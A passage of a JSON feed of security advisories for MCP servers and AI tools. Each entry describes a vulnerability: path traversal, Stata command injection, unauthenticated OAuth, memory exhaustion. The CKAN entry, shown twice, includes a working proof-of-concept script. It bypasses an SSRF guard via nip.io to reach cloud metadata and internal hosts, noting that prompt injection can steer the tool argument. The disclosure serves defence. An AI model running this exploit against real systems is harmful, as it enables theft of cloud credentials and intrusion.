href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-72fm-whvq-jghf\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-72fm-whvq-jghf</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:16.430Z",
      "date_modified": "2026-09-29T15:41:42.950Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:GHSA-798p-78g2-v556",
      "url": "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556",
      "title": "[MODERATE] GHSA-798p-78g2-v556: @aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509",
      "summary": "@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509",
      "content_html": "<p><strong>Vulnerability ID:</strong> GHSA-798p-78g2-v556</p>\n<p><strong>Severity:</strong> MODERATE</p>\n<p><strong>Affected Package(s):</strong> @aborruso/ckan-mcp-server</p>\n<p><strong>Details:</strong><br>## Summary\nThe SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.\n\n## Affected / patched\n- `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet.\n\n## Severity\nIt is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).\n\n## Root cause — `src/utils/http.ts`, `validateServerUrl`\nThe guard blocks IP **literals** and three loopback alias strings, but does no name resolution:\n```ts\nconst hostname = parsed.hostname.toLowerCase();\nif (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw;   // string denylist\nif (hostname.match(/^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/)) { /* block private/special IPv4 LITERALS */ }\n// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed\n```\nBoth prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: <body>`.\n\n> Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.\n\n## Proof of concept\nDrives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.\n```sh\nnpm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk\nnode poc.mjs\n```\n```js\nimport http from 'node:http';\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';\nconst internal = http.createServer((_req, res) => {\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({ Token: SECRET }));                 // stand-in for an IMDS / internal response\n});\nawait new Promise(r => internal.listen(0, '127.0.0.1', r));\nconst port = internal.address().port;\n\nconst client = new Client({ name: \"ssrf-poc\", version: \"1.0.0\" });\nawait client.connect(new StdioClientTransport({\n  command: \"node\", args: [\"node_modules/@aborruso/ckan-mcp-server/dist/index.js\"]\n}));\n\n// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname \"127.0.0.1.nip.io\"\n// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.\n// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.\nconst evil = `http://127.0.0.1.nip.io:${port}/`;\nconst res = await client.callTool({ name: \"ckan_package_search\", arguments: { server_url: evil, q: \"x\" } });\n\nconst text = res.content?.[0]?.text || JSON.stringify(res);\nconsole.log(\"SSRF:\", text.includes(SECRET) ? \"YES — internal server reached, body returned to caller\" : \"no\");\nconsole.log(text.slice(0, 220));\nawait client.close(); internal.close();\n```\nOutput:\n```\nSSRF: YES — internal server reached, body returned to caller\nCKAN API returned success=false: {\"Token\":\"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE\"}\n```\nA real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained.\n\n## Impact\nCaller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.\n\n## Suggested fix\nResolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556\">https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-61612\">https://nvd.nist.gov/vuln/detail/CVE-2026-61612</a></li>\n<li><a href=\"https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40\">https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-3xm7-qw7j-qc8v\">https://github.com/advisories/GHSA-3xm7-qw7j-qc8v</a></li>\n</ul></p>",
      "date_published": "2026-09-22T14:51:20Z",
      "date_modified": "2026-09-23T03:56:42.719306174Z",
      "tags": [
        "MODERATE",
        "@aborruso/ckan-mcp-server"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77518",
      "url": "https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-x65c-w438-c58f",
      "title": "[UNKNOWN] CVE-2026-77518: MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, a normal workspace user who knows anothe",
      "summary": "MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, a normal workspace user who knows anothe",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77518</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, a normal workspace user who knows another user's active MCP tool_id in the same workspace can retrieve the hidden tool through the tool-detail route because it does not apply the per-resource authorization used by the list route. The response includes Tool.code, which may contain MCP server configuration and headers, and an attacker who can create or edit an attacker-owned workflow can place the same foreign mcp_tool_id in a workflow mcp-node so workflow debug uses the owner's MCP configuration without verifying permission to use that tool. No fixed version is available as of this review.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-x65c-w438-c58f\">https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-x65c-w438-c58f</a></li>\n</ul></p>",
      "date_published": "2026-09-21T21:17:10.477Z",
      "date_modified": "2026-09-22T14:17:15.207Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-61647",
      "url": "https://github.com/roomi-fields/notebooklm-mcp/security/advisories/GHSA-jjhp-8crj-mppq",
      "title": "[UNKNOWN] CVE-2026-61647: NotebookLM MCP is an MCP server and HTTP service for interacting with Google NotebookLM and exporting generated content ",
      "summary": "NotebookLM MCP is an MCP server and HTTP service for interacting with Google NotebookLM and exporting generated content ",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-61647</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>NotebookLM MCP is an MCP server and HTTP service for interacting with Google NotebookLM and exporting generated content to local vault directories. Versions 1.6.0 through 2.0.2 contain a path traversal vulnerability in the `POST /batch-to-vault` endpoint, also exposed through the `batch_to_vault` MCP tool beginning in version 1.7.0, because attacker-controlled `vault_dir` and `slug_prefix` values can cause Markdown and JSON files to be written outside the intended vault directory to any location writable by the server process. Version 2.0.3 sanitizes `slug_prefix` and supports vault containment when `NOTEBOOKLM_VAULT_ROOT` is configured; containment is not enabled if that variable is unset. Users unable to upgrade should run the server as a dedicated unprivileged account restricted to the intended vault, keep the HTTP endpoint limited to localhost, and validate `vault_dir` values supplied by LLMs processing untrusted content.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/roomi-fields/notebooklm-mcp/security/advisories/GHSA-jjhp-8crj-mppq\">https://github.com/roomi-fields/notebooklm-mcp/security/advisories/GHSA-jjhp-8crj-mppq</a></li>\n</ul></p>",
      "date_published": "2026-09-21T21:17:07.107Z",
      "date_modified": "2026-09-24T21:25:27.050Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-61612",
      "url": "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556",
      "title": "[UNKNOWN] CVE-2026-61612: CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerU",
      "summary": "CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerU",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-61612</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> @aborruso/ckan-mcp-server, unknown</p>\n<p><strong>Details:</strong><br>## Summary\nThe SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.\n\n## Affected / patched\n- `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet.\n\n## Severity\nIt is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).\n\n## Root cause — `src/utils/http.ts`, `validateServerUrl`\nThe guard blocks IP **literals** and three loopback alias strings, but does no name resolution:\n```ts\nconst hostname = parsed.hostname.toLowerCase();\nif (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw;   // string denylist\nif (hostname.match(/^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/)) { /* block private/special IPv4 LITERALS */ }\n// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed\n```\nBoth prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: <body>`.\n\n> Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.\n\n## Proof of concept\nDrives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.\n```sh\nnpm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk\nnode poc.mjs\n```\n```js\nimport http from 'node:http';\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';\nconst internal = http.createServer((_req, res) => {\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({ Token: SECRET }));                 // stand-in for an IMDS / internal response\n});\nawait new Promise(r => internal.listen(0, '127.0.0.1', r));\nconst port = internal.address().port;\n\nconst client = new Client({ name: \"ssrf-poc\", version: \"1.0.0\" });\nawait client.connect(new StdioClientTransport({\n  command: \"node\", args: [\"node_modules/@aborruso/ckan-mcp-server/dist/index.js\"]\n}));\n\n// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname \"127.0.0.1.nip.io\"\n// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.\n// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.\nconst evil = `http://127.0.0.1.nip.io:${port}/`;\nconst res = await client.callTool({ name: \"ckan_package_search\", arguments: { server_url: evil, q: \"x\" } });\n\nconst text = res.content?.[0]?.text || JSON.stringify(res);\nconsole.log(\"SSRF:\", text.includes(SECRET) ? \"YES — internal server reached, body returned to caller\" : \"no\");\nconsole.log(text.slice(0, 220));\nawait client.close(); internal.close();\n```\nOutput:\n```\nSSRF: YES — internal server reached, body returned to caller\nCKAN API returned success=false: {\"Token\":\"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE\"}\n```\nA real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained.\n\n## Impact\nCaller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.\n\n## Suggested fix\nResolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556\">https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-61612\">https://nvd.nist.gov/vuln/detail/CVE-2026-61612</a></li>\n<li><a href=\"https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40\">https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-3xm7-qw7j-qc8v\">https://github.com/advisories/GHSA-3xm7-qw7j-qc8v</a></li>\n</ul></p>",
      "date_published": "2026-09-21T18:17:09.073Z",
      "date_modified": "2026-09-24T21:25:27.050Z",
      "tags": [
        "UNKNOWN",
        "@aborruso/ckan-mcp-server",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-55071",
      "url": "https://github.com/SepineTam/mcp-for-stata/releases/tag/v1.19.0",
      "title": "[UNKNOWN] CVE-2026-55071: MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0",
      "summary": "MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-55071</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/SepineTam/mcp-for-stata/releases/tag/v1.19.0\">https://github.com/SepineTam/mcp-for-stata/releases/tag/v1.19.0</a></li>\n<li><a href=\"https://github.com/SepineTam/mcp-for-stata/security/advisories/GHSA-49m4-vp58-wgc9\">https://github.com/SepineTam/mcp-for-stata/security/advisories/GHSA-49m4-vp58-wgc9</a></li>\n</ul></p>",
      "date_published": "2026-09-21T15:17:29.450Z",
      "date_modified": "2026-09-24T21:17:43.237Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-58197",
      "url": "https://github.com/stacklok/toolhive-studio/commit/968182d7f3ee1e55123369e66ad88f82128119b0",
      "title": "[UNKNOWN] CVE-2026-58197: ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to Too",
      "summary": "ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to Too",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-58197</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend's secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/stacklok/toolhive-studio/commit/968182d7f3ee1e55123369e66ad88f82128119b0\">https://github.com/stacklok/toolhive-studio/commit/968182d7f3ee1e55123369e66ad88f82128119b0</a></li>\n<li><a href=\"https://github.com/stacklok/toolhive-studio/pull/2469\">https://github.com/stacklok/toolhive-studio/pull/2469</a></li>\n<li><a href=\"https://github.com/stacklok/toolhive-studio/releases/tag/v0.38.0\">https://github.com/stacklok/toolhive-studio/releases/tag/v0.38.0</a></li>\n<li><a href=\"https://github.com/stacklok/toolhive/commit/d8f40cb1599b8bf66657f2dfff15bfbfc236e712\">https://github.com/stacklok/toolhive/commit/d8f40cb1599b8bf66657f2dfff15bfbfc236e712</a></li>\n</ul></p>",
      "date_published": "2026-09-18T17:16:57.880Z",
      "date_modified": "2026-09-24T21:25:27.050Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-50158",
      "url": "https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3",
      "title": "[UNKNOWN] CVE-2026-50158: yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool ",
      "summary": "yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool ",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-50158</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/caption/caption.go, where os.Create() creates or truncates that path without using the pkg.Root confinement boundary backed by YUTU_ROOT. A principal able to invoke caption-download, including a local HTTP client when the MCP server runs with its default authentication-disabled configuration, can write downloaded caption bytes to any path writable by the yutu process outside YUTU_ROOT. This can overwrite application files, configuration, shell startup files, logs, or data and can cause persistent code execution or denial of service depending on the selected writable target. Live caption retrieval also requires usable service credentials and an accessible caption identifier. This issue is fixed in version 0.10.9.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3\">https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3</a></li>\n<li><a href=\"https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9\">https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9</a></li>\n<li><a href=\"https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c\">https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c</a></li>\n</ul></p>",
      "date_published": "2026-09-17T22:16:59.297Z",
      "date_modified": "2026-09-24T21:25:27.050Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-54618",
      "url": "https://github.com/jimprosser/obsidian-web-mcp/commit/e4924f096ee7494a7999d6c0cceca9be08e48eef",
      "title": "[UNKNOWN] CVE-2026-54618: Obsidian Web MCP is a secure remote MCP server for Obsidian vaults. Prior to 0.2.0, /oauth/authorize issues an authoriza",
      "summary": "Obsidian Web MCP is a secure remote MCP server for Obsidian vaults. Prior to 0.2.0, /oauth/authorize issues an authoriza",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-54618</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Obsidian Web MCP is a secure remote MCP server for Obsidian vaults. Prior to 0.2.0, /oauth/authorize issues an authorization code without a login, consent, or session check, and /oauth/token can exchange that code for the static VAULT_MCP_TOKEN without authenticating a client. An unauthenticated remote caller who can reach the intended tunnel deployment can therefore call /mcp and use vault_read, vault_write, vault_search, vault_list, vault_move, and vault_delete against the entire vault. Optional PKCE does not prevent an attacker-initiated flow, and unauthenticated /oauth/register also exposes a client_credentials path by returning the configured VAULT_OAUTH_CLIENT_SECRET. This issue is fixed in version 0.2.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/jimprosser/obsidian-web-mcp/commit/e4924f096ee7494a7999d6c0cceca9be08e48eef\">https://github.com/jimprosser/obsidian-web-mcp/commit/e4924f096ee7494a7999d6c0cceca9be08e48eef</a></li>\n<li><a href=\"https://github.com/jimprosser/obsidian-web-mcp/pull/30\">https://github.com/jimprosser/obsidian-web-mcp/pull/30</a></li>\n<li><a href=\"https://github.com/jimprosser/obsidian-web-mcp/releases/tag/v0.2.0\">https://github.com/jimprosser/obsidian-web-mcp/releases/tag/v0.2.0</a></li>\n<li><a href=\"https://github.com/jimprosser/obsidian-web-mcp/security/advisories/GHSA-hwhg-mrjc-8g43\">https://github.com/jimprosser/obsidian-web-mcp/security/advisories/GHSA-hwhg-mrjc-8g43</a></li>\n</ul></p>",
      "date_published": "2026-09-17T20:16:51.823Z",
      "date_modified": "2026-09-30T17:32:07.107Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-50125",
      "url": "https://github.com/StacklokLabs/mkp/commit/37bf6bac862aa3b1c71b8aa1b8364eae7818962d",
      "title": "[UNKNOWN] CVE-2026-50125: MKP is a Model Context Protocol server for Kubernetes. Prior to 0.4.1, cmd/server/main.go exposes the default HTTP endpo",
      "summary": "MKP is a Model Context Protocol server for Kubernetes. Prior to 0.4.1, cmd/server/main.go exposes the default HTTP endpo",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-50125</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MKP is a Model Context Protocol server for Kubernetes. Prior to 0.4.1, cmd/server/main.go exposes the default HTTP endpoint and pkg/mcp/server.go registers the unauthenticated get_resource tool, which accepts attacker-controlled limitBytes and tailLines values for the pods logs subresource. buildPodLogOpts() in pkg/k8s/subresource.go parses those values as unbounded int64 parameters, and defaultGetPodLogs() copies the returned Kubernetes log stream through io.Copy into an in-memory bytes.Buffer without an application-side cap. A remote attacker who can reach the default port 8080 MCP endpoint and select a pod with sufficiently large accumulated logs can send one tools/call request that causes large allocations and additional response copies, while the request-frequency limiter does not constrain per-request volume. This can exhaust process memory, terminate the MKP server, and deny the MCP service; observed testing showed more than one GiB of RSS growth while handling a 128 MiB requested stream. This issue is fixed in version 0.4.1.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/StacklokLabs/mkp/commit/37bf6bac862aa3b1c71b8aa1b8364eae7818962d\">https://github.com/StacklokLabs/mkp/commit/37bf6bac862aa3b1c71b8aa1b8364eae7818962d</a></li>\n<li><a href=\"https://github.com/StacklokLabs/mkp/security/advisories/GHSA-qw5r-ppcg-f8rj\">https://github.com/StacklokLabs/mkp/security/advisories/GHSA-qw5r-ppcg-f8rj</a></li>\n</ul></p>",
      "date_published": "2026-09-17T20:16:50.127Z",
      "date_modified": "2026-09-30T17:32:07.107Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    }
  ]
}